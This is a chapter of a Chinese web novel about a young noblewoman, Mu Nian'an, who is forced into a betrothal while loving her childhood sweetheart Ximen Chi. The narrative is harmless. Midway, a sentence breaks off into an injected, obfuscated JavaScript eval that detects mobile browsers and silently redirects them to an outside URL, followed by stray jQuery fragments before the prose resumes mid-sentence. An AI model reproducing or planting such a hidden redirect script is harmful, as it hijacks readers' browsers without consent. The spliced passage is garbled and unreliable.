默认冷灰
24号文字
方正启体

2. 世间痴情儿如是多

作者:燕客本书字数:K更新时间:
    见慕念安有些恼了,沈泽言忙出来打圆场,他暗自向慕蓉使了个眼色,道:“就你话多,什么事不能回府说?”


    慕念安没听出这句话里的玄机,只当她亲亲阿父再替她说话呢,却不知这对妇夫数年未见,给她准备了一个巨大的“惊喜”。


    而拆开“惊喜”的时刻,是在一家人吃完团圆饭,应当阖家团圆,一起话天下的时候。


    怀安王府。


    慕念安见慕蓉命人带路云骞这位贵客回屋落脚时,右眼皮跳了一跳,直觉告诉她,有要事要发生了!


    果不其然,下一刻慕蓉就让她去书房,说些母女俩的“体己话”。


    慕念安面上笑眯眯,暗地里却在打鼓,因为在她带着询问望向她阿父时,沈泽言竟没接她的茬,只说“有些乏了,得暂且回屋歇息”。


    书房内,慕念安与慕蓉面对面,两人干瞪着眼,紧张得喉间咽了咽。


    若有人推门而入,看到这幅画面,一定会感叹一句,不亏是母女,行为方式真是如出一辙。


    “念安孩儿啊——”


    “不!阿母你先听我说,我觉得我老大不小,该说一门亲事了,人我都自己看过了,不用劳烦您二老一个一个地去相看,就是西门将军家的小儿子西门池。”


    慕念安一通话跟下水饺似的,噼里啪啦地直往慕蓉头顶砸,都不管慕蓉能不能接受。


    半晌。


    慕蓉干笑,“是吗,那可真赶巧了。阿母也帮你相看过了一个好人家的儿郎,那位儿郎你也见过,正是你那位路家阿兄,乖女儿,你觉得他怎么样?”


    “我觉得西门池就很好。”


    “……”


    “你这丫头,我问的是你路家阿兄。”


    “阿母,我是说我非西门池不娶。”


    “你路家阿兄相貌堂堂、知书达礼,你是哪不满意?”


    “那齐家男君相貌堂堂,也知书达礼,阿母你是哪不——”


    “嘘,”慕念安的嘴立马被慕蓉的手堵住了,慕蓉压低声音道,“这么大声,你不要命啦!”


    慕念安扯开慕蓉的手,正色道:“阿母我是认真的,我和阿池青梅竹马,缘份早已天定,阿母又何苦逼我?”


    “逼你?”慕蓉也严肃正经了起来,“你说我逼你,那好,老娘今天就把话放这,路家儿郎你是不娶也得娶,你和那西门家的小子趁早赶紧给我断了!”


    “凭什么?”


    “就凭你老母父性命是他全家救的!”


    “…这是怎么回事?”慕念安顾不得逼不逼婚的事了,攸关母父性命,她不得不问。


    “都过去了。”慕蓉挥挥手,一副再也不想提起此事的悲痛表情。


    她也不是那种爱插管儿女婚事的大家长做派的人,只是她忠诚的将领死在怀里,临终之际向她托孤,道:“为殿下死,老臣无悔。只是,老臣有一个不情之请,厚颜向殿下讨一门婚事……”


    你说,人家都这么恳求了,她能怎么办呢?


    慕念安脸色难看起来,“是——”


    “就此打住,你心头有数便罢了。”


    在这世上最想绝怀安王一系后的除了当今还能谁呢?


    慕念安张了张嘴,想说些什么,面对母亲难掩悲痛的神态,最终还是咽下了喉,转而说道:“那阿母此次归京,是作何打算?”


    “能做何打算?”慕蓉冷笑,“多年未归,祭祖罢了!”


    慕念安默然,明了母亲不可能真如话里说的这般,来燕京一趟,只为祭祖而已。


    只怕要做出一番大事业,西门一族作为保皇一派,那她与西门池确是再无可能。


    思及此,慕念安面色苍白起来。


    慕蓉见状,拍了拍她的肩,道:“我知你心苦,可你是我和你阿父唯一的子嗣,心中焉能只装一个西门池。我与你说的话,你好生想想罢!”


    “……阿母,我需要外出一趟。”慕念安干涸道。


    “你确定?”慕蓉皱眉。


    “让她去吧。”吱呀一声,书房的门开了,沈泽言现身说道。


    爆竹声中辞旧岁,这样一个举家合欢的夜晚,不知有多少痴情儿在独自心伤?


    慕念安骑马疾驰到观音湖前,西门池早早等在那了。


    今日除夕,好多有情女郎们在此相会,祈求观音能祝有情人终成眷属,是以这里是整个燕京城最受年轻人欢迎之地。


    万花丛中,慕念安一眼便看到了西门池,一身红装的他,朝气蓬勃极了,如同一颗太阳温暖了慕念安的心。


    慕念安敛好心情,驱马上前,来到西门池跟前,笑问:“这是哪家的好儿郎,不知在下是否有荣幸能与佳人共游?”


    “你说呢?”西门池噗嗤一笑,搭手上马,揽住慕念安的腰。


    烟花齐放,骏马奔驰,好一对痴情女郎!


    奔驰好一会,慕念安感应到身后扑通的心跳,大声问道:“阿池可知我最喜欢什么时候的你吗?”


    西门池回道:“我又不是你肚子里的蛔虫,哪会知晓?”


    “你说什么?!”呼呼风声中传来慕念安的问语。


    “我说——我不晓得——”西门池耐心地再回一次。


    恰逢马儿来到燕京最高的山,慕念安驱马止步,柔声说道:“就是此刻的你,这样好像你我的心连在了一起,无论谁都不会将我们分开。”


    爆竹声休,烟花灿灿,世界仿佛在这一刻静止了。西门池胸中悒郁难泄,他将头靠在慕念安肩上,轻声道:“慕念安,我们一直在一起好不好?”


    慕念安抬头凝视空中,烟火映在她的瞳孔中,似有流光闪过,她大声对着天空喊道:“我,慕念安,想和西门池在一起,永远不分开!”


    山顶上,寒风阵阵,两人如同鸳鸯一般紧紧依偎在一块。


    只是不知为何,西门池的眼眶中泪光闪闪,他想起他偷溜出府的场景。


    吃过晚饭后,西门池在小厮的帮助下,预备从后门偷溜,去赴慕念安的约。


    哪知,他阿母西门秦早早准备在那堵了他。


    西门秦板正地凝视他:“吃过饭,便说身体不适,怎么才一晃眼就好了?”


    “阿、阿母!”


    西门池惊慌失措,鲜少欺瞒母父的他,面对这样的场景,不禁羞愧地红了脸。


    只是,他不知一向疼爱他的阿母为何如此严肃,仿佛他做下了什么大逆不道的事,要将他绳之以法,以儆效尤。


    “你如果是准备去寻慕家丫头,那可以收拾收拾回去睡觉了。”


    “阿母何出此言?”西门池震惊。


    “我一向鲜少管你,你不爱绣花针,偏爱耍枪,我也随你耍,但我竟不知你竟如此胆大包天,敢与人私相授受!还是与慕家的丫头,你把西门一族的脸面置于何处?!”


    西门池脸色难堪地白了下去,打小到大,这是一向严肃的母亲第一次对他说如此重


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011037|194133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的话。


    “什么私相授受,不过是与慕家丫头走得近罢了,你何苦把儿子说得这般难听,”西门池的阿父西门李氏步了出来,语重心长地对西门池道,“乖儿子,听阿父的话,与那慕家丫头的往来,还是断了的好。”


    西门池听罢,总算明白自己“错”在了何处,他道:“阿父阿母这一通话,到底是我不该交朋友,还是我不该和慕念安交朋友。”


    “池儿,听阿父的话,要真想你俩与西门一族安好,你们还是断了的好。”


    思及此,西门池眼眶又红了红,他看着漫天烟火,大声地诚心地道:“西门池想与慕念安一直在一起,永远不分开!”


    ……


    再好的宴席,终有散场的时候,再不舍的约会,也有要说再见的时刻。


    到了西门府邸,西门池回过身,身影藏在阴影下,教人瞧不清他的神色,他挥了挥手,轻声道:“再见,慕念安。”


    慕念安骑马站在月光下,身后是寂静下来的天空,就如此刻的她,她亦然挥手,嘴角在笑,眼中却有泪光,“阿池,再见。”


    最后一句话语,恍若呢喃,轻轻地随寒风散去。


    两人都说了再见,声音却轻得只有自己知晓。


    带着一身失意回到府中的慕念安,躺在床上辗转反侧。


    再又一次进行反复“烙饼”行为后,她痛定思痛,觉得现在哪怕是与西门池无缘了,但也不一定必须得娶那什么路家阿兄。


    虽然阿母把她“卖”了,但她是个人,不是件可以随意买卖的物什啊。


    于是,次日她瞅准了时机,卖了个笑道:“路家阿兄好。”


    瞧见桌上的两杯热茶,慕念安眉毛一挑,“路家阿兄,这是早知我会来吗?”


    路云骞玉白的脸上露出轻笑,:“念安阿妹今早瞧了我三次,不就是有事欲寻我吗。”


    这厮真是打小就没变过,永远这么从容不迫。慕念安一边暗忖,一边道:“那阿兄知晓我来寻你,所为何事吗?”


    路云骞眉目清润,缓缓吐出俩字:“退婚。”


    “和聪明人说话就是不费力,”慕念安抬起茶盏捻了捻,抿了口茶后,笑眯眯道,“阿兄既然如此善解人意,那我就打开天窗说亮话了。我俩这个婚,不能成。”


    纵然如此,路云骞脸上的笑容仍不见减少分毫。他道:“因为西门池?”


    “是,也不是,”慕念安晓之以理,动之以情,“纵然没有西门池,这个婚也不能成,因为在我心里,我未来的男君应当是我心中所爱之人,而非什么母父之命媒妁之言。”


    路云骞默然,最后笑了笑:“念安阿妹还真是一点都没变。”


    其实,还是变了的。


    那时,他总觉得跟在他屁股后面的小孩可真黏人,都打扰到他看书了,但出于家教,总是有耐心地陪着她,后来成了一种习惯。


    未想,日夜浇灌,这心里竟长出来一颗种子,生了根发了芽,只是当初跟在后头的小屁孩不再总跟着他了。


    路云骞这般想着,察觉心中生出的怅然,不禁失笑。


    慕念安不管路云骞心中所想,继续向他输出自己心中的想法:“我想阿兄知书达礼,善解人意,要什么才女不是手到擒来,何苦非得栽在我这棵心有所属的歪脖子树上。”


    路云骞回过神,笑道:“若我非要勉强呢?”


    “阿兄这就对了——什、什么?”慕念安目瞪口呆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)